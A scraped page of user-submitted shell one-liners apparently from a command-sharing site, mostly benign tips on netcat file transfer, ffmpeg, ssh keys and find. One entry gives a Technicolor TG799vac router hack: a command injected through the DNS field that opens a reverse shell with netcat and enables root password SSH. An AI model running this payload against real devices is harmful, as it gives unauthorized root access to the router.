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Perl One Liner to Generate a Random IP Address
This is sample output - yours may be different.
0

perl -le '$,=".";print map int rand 256,1..4'

depesz · 2011-01-16 16:56:44 3
Join lines split with backslash at the end

Show Sample Output
This is sample output - yours may be different.
```
# tr -d '\\' <<END | tr -d '\n'
Hello \\
world!
END
>> Hello world!

or 

echo 'scale=70; 127/131' | bc | tr -d '\\' | tr -d '\n'
.9694656488549618320610687022900763358778625954198473282442748091603053
```
0

tr -d '\\' | tr -d '\n'

tongrider · 2011-10-13 17:40:02 7
Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id

chmod authorized_keys so you don't get "Authentication refused: bad ownership or modes for file /home/user/.ssh/authorized_keys"
This is sample output - yours may be different.
0

cat ~/.ssh/id_rsa.pub | ssh tester@10.2.6.10 "mkdir -p ~/.ssh; cat >> ~/.ssh/authorized_keys; chmod 600 ~/.ssh/authorized_keys"

unixmonkey37839 · 2012-07-18 04:41:54 12
Change my shell to zsh
This is sample output - yours may be different.
0

sudo usermod -s `which zsh` `whoami`

frankowp · 2012-09-11 21:58:01 8
netcat - send tar archive remotely (sending side)

Tar's up $DIR locally (w/bzip2) and sends remotely to $HOST:$PORT where netcat listens (using openbsd netcat). Start up receiving side command first, then execute this.
This is sample output - yours may be different.
0

tar -cjf - $DIR | nc $HOST $PORT

taintedkernel · 2012-11-13 16:44:26 5
find the number of files, date masked

RU: Найдет число файлов в папке по данной маске в цикле по дням месяца
This is sample output - yours may be different.
0

for i in {1..31}; do ls -1 *${YYYY}${MM}`printf "%02d" $i`* | wc -l; done

Paulus · 2013-07-26 07:08:04 8
Chrome, toggle default CSS style sheet

A very simple command to toggle Chrome?s default style sheet. It uses the test command to see if the "Custom.css.off" file exists, if so, it will become "Custom.css", and if not, "Custom.css" is moved to "Custom.css.off" Thus, swapping. This is accomplished with "&&" and "||"
This is sample output - yours may be different.
0

CSS=$HOME/.config/google-chrome/Default/User\ StyleSheets/Custom.css sh -c 'test -f "$CSS.off" && mv "$CSS.off" "$CSS" || mv "$CSS" "$CSS.off"'

Romero · 2013-10-06 00:38:00 7
Remove .sh file extension for files in current directory

The 'rename' command with the first argument as "'s/\.//'" and the second argument as "" will remove the specified extension from the filenames.
This is sample output - yours may be different.
0

rename 's/\.sh//' ./*

abhikeny · 2014-04-02 16:33:25 6
A function to find a file in the pwd downwards

A simple bash function to the find command. I use this much more than find itself. Show Sample Output
This is sample output - yours may be different.
```
$ fn resume
./Documents/2013/My Resume 2014.pdf
```
0

fn() { find . -iname "*$1*" -print; }

suprjami · 2014-07-15 05:30:59 8
Alias for git merge

Merge remote into local of current branch. Show Sample Output
This is sample output - yours may be different.
```
Merge complete or something.
```
0

alias gm="git merge"

taystack · 2015-02-26 23:42:08 10
Reset the favorite-scopes on the Ubuntu Phone

To fix this bug: https://bugs.launchpad.net/ubuntu/+source/unity8/+bug/1389698
This is sample output - yours may be different.
0

gsettings reset com.canonical.Unity.Dash favorite-scopes

bugmenot · 2016-02-07 17:50:19 12
Check executable shared library usage
This is sample output - yours may be different.
0

ldd `which executable_program`

z3l3man_zn · 2016-08-17 03:49:16 14
crop video using ffmpeg
This is sample output - yours may be different.
0

ffmpeg -i my-demo-video.avi -filter:v "crop=820:750:200:0" -qscale 0 my-demo-video_cropped.avi

ceddi · 2016-10-17 19:03:20 20
Empty a file with better compatibility

Same as `>`, except that the file is truncated to zero length if it exists, even if CLOBBER is unset. This works whatever your shell is and whatever your OS is. The most upvoted answer does not work with ZSH by default. The truncate version does not work on MacOS (and probably others).
This is sample output - yours may be different.
0

:>! filename

_who · 2017-04-21 15:51:01 22
Hacking the Technicolor TG799vac (and unlocking features for openwrt)

Find more info about this hack on my github https://github.com/wuseman/TG799VAC-XTREME-17.2-MINT - Setup a netcat listener 'nc -lvvp 1337' and then from dns field on your technicolor router run the command below and turn dns ON and wait for the magic.. Show Sample Output
This is sample output - yours may be different.
```
https://raw.githubusercontent.com/wuseman/TG799VAC-XTREME-17.2-MINT/master/files/short-version.gif
```
0

::::::;nc 192.168.1.144 1337 -e /bin/sh;rm /etc/dropbear/*;uci set dropbear.lan.PasswordAuth='on';uci set dropbear.lan.RootPasswordAuth='on';uci set dropbear.lan.Interface='lan';uci set dropbear.lan.enable='1';/etc/init.d/dropbear restart; uci commit

wuseman1 · 2018-11-12 02:02:43 339
ifrename

rename a network interface e.g. make eth0 eth1 or vice versa the interface needs to be down -> "/sbin/ifconfig oldname down"
This is sample output - yours may be different.
0

busybox nameif newname $(</sys/class/net/oldname/address)

patrick2000 · 2010-05-15 10:24:57 7
A bash function to show the files most recently modified in the named (or current) directory

Returns the most recently modified file in the current (or specified) directory. You can also get the oldest file, via: ls -t1 $* | tail-1 ;
This is sample output - yours may be different.
0

ls -t1 $* | head -1 ;

darkhorse9933 · 2012-02-10 22:13:24 6
Realtime lines per second in a log file

Realtime lines per second in a log file using python ... identical to perl version, except python is much better :) Show Sample Output
This is sample output - yours may be different.
```
27
49
36
36
29
33
33
32
43
31
40
35
43
39
37
38
28
34
31
48
46
37
35
```
0

tail -F /var/log/nginx/access.log | python -c 'exec("import sys,time\nl=0\ne=int(time.time())\nfor line in sys.stdin:\n\tt = int(time.time())\n\tl += 1\n\tif t > e:\n\t\te = t\n\t\tprint l\n\t\tl = 0")'

pykler · 2012-05-15 21:56:46 4
Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id

chmod authorized_keys so you don't get "Authentication refused: bad ownership or modes for file /home/user/.ssh/authorized_keys"
This is sample output - yours may be different.
0

cat ~/.ssh/id_rsa.pub | ssh tester@10.2.6.10 "mkdir -p ~/.ssh; cat >> ~/.ssh/authorized_keys; chmod 600 ~/.ssh/authorized_keys"

unixmonkey37839 · 2012-07-18 04:41:55 6
server's host key is not cached in the registry
This is sample output - yours may be different.
0

plink -agent gist.github.com

evandrix · 2012-09-12 00:22:39 4
netcat - receive tar archive remotely

Receives bzip'd tar archive via netcat (openbsd nc) and stores locally. Displays size with pv. Start this receiver first, then the sender.
This is sample output - yours may be different.
0

nc -l $PORT | pv -b > archive.tar.bz2

taintedkernel · 2012-11-13 16:47:45 4
change file format at one time
This is sample output - yours may be different.
0

find $(YourPATH) -type f -exec dos2unix '{}' \;

chenhow1985 · 2013-07-26 09:07:35 7
print all available make targets
This is sample output - yours may be different.
0

make --print-data-base --dry-run | awk -F':' '/^[a-zA-Z0-9][^$#\/\t=]*:([^=]|$)/ {split($1,A,/ /);for(i in A)print A[i]}'

grapsus · 2013-10-07 12:39:25 6
List members of a group
This is sample output - yours may be different.
0

dsquery group -samid "Group_SAM_Account_Name" | dsget group -members -expand

shawn_abdushakur · 2014-01-10 15:04:54 6
Check your internet connection by pinging Google
This is sample output - yours may be different.
0

ping -c 3 google.com

nicolasmccurdy · 2014-07-16 02:01:01 8
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see the TIME_WAIT and ESTABLISHED nums of the network

Mac OS X: remove extra languages to save over 3 GB of space.

This will get the job done in the most efficient way - spawning only one `rm` process. "On-the-fly" find data is displayed through `tee` and you should have plenty of time to ctrl-c if needed before it's too late. You may need to re-run this after major Software Updates. To leave more languages in, add more ``-and \! -iname "lang*"'' statements: $ sudo find / -iname "*.lproj" -and \! -iname "en*" -and \! -iname "spanish*" -print0 | tee /dev/stderr | sudo xargs -0 rm -rfv **Edit: note the 2nd sudo near the end of the pipeline - this is necessary.

find and remove old compressed backup files

remove all compressed files in /home/ folder not created in the last 10 days

Get information on your graphics card on linux (such as graphics memory size)

probably only works if you have one graphics card. used this: http://www.cyberciti.biz/faq/howto-find-linux-vga-video-card-ram/ as reference can be expanded, for example: $ lspci -v -s `lspci | awk '/VGA/{print $1}'` | sed -n '/Memory.*, prefetchable/s/.*\[size=$[^]]\+$\]/\1/p' will just get the amount of prefetchable memory compare to: $ lshw -C display which does not give the size (it does give byte ranges and you could calculate the size from that, but that's a pain) Also uses a command which is not standard on linux; wheras lspci is a core utility provided by most systems

To find which host made maximum number of specific tcp connections

This command is primarily going to work on linux boxes. and needs to be changed, for example IP=10\.194\.194\.2 PORT=389

Ping sweep without NMAP

Find usb device

I often use it to find recently added ou removed device, or using find in /dev, or anything similar. Just run the command, plug the device, and wait to see him and only him

Print every Nth line

Sometimes commands give you too much feedback. Perhaps 1/100th might be enough. If so, every() is for you. $ my_verbose_command | every 100 will print every 100th line of output. Specifically, it will print lines 100, 200, 300, etc If you use a negative argument it will print the *first* of a block, $ my_verbose_command | every -100 It will print lines 1, 101, 201, 301, etc The function wraps up this useful sed snippet: $ ... | sed -n '0~100p' don't print anything by default $ sed -n starting at line 0, then every hundred lines ( ~100 ) print. $ '0~100p' There's also some bash magic to test if the number is negative: we want character 0, length 1, of variable N. $ ${N:0:1} If it *is* negative, strip off the first character ${N:1} is character 1 onwards (second actual character).

Remove leading zeros in multiple columns with sed

Leading zeros might help correct sorting and they can be removed by sed after sorting

Run TOP in Color, split 4 ways for x seconds - the ultimate ps command. Great for init scripts

One of my favorite ways to impress newbies (and old hats) to the power of the shell, is to give them an incredibly colorful and amazing version of the top command that runs once upon login, just like running fortune on login. It's pretty sweet believe me, just add this one-liner to your ~/.bash_profile -- and of course you can set the height to be anything, from 1 line to 1000! $ G=$(stty -g);stty rows $((${LINES:-50}/2));top -n1; stty $G;unset G Doesn't take more than the below toprc file I've added below, and you get all 4 top windows showing output at the same time.. each with a different color scheme, and each showing different info. Each window would normally take up 1/4th of your screen when run like that - TOP is designed as a full screen program. But here's where you might learn something new today on this great site.. By using the stty command to change the terminals internal understanding of the size of your terminal window, you force top to also think that way as well. # save the correct settings to G var. $ G=$(stty -g) # change the number of rows to half the actual amount, or 50 otherwise $ stty rows $((${LINES:-50}/2)) # run top non-interactively for 1 second, the output stays on the screen (half at least) $ top -n1 # reset the terminal back to the correct values, and clean up after yourself $ stty $G;unset G This trick from my [ http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html bash_profile ], though the online version will be updated soon. Just think what else you could run like this! Note 1: I had to edit the toprc file out due to this site can't handle that (uploads/including code). So you can grab it from [ http://www.askapache.com/linux-unix/bash-power-prompt.html my site ] Note 2: I had to come back and edit again because the links weren't being correctly parsed

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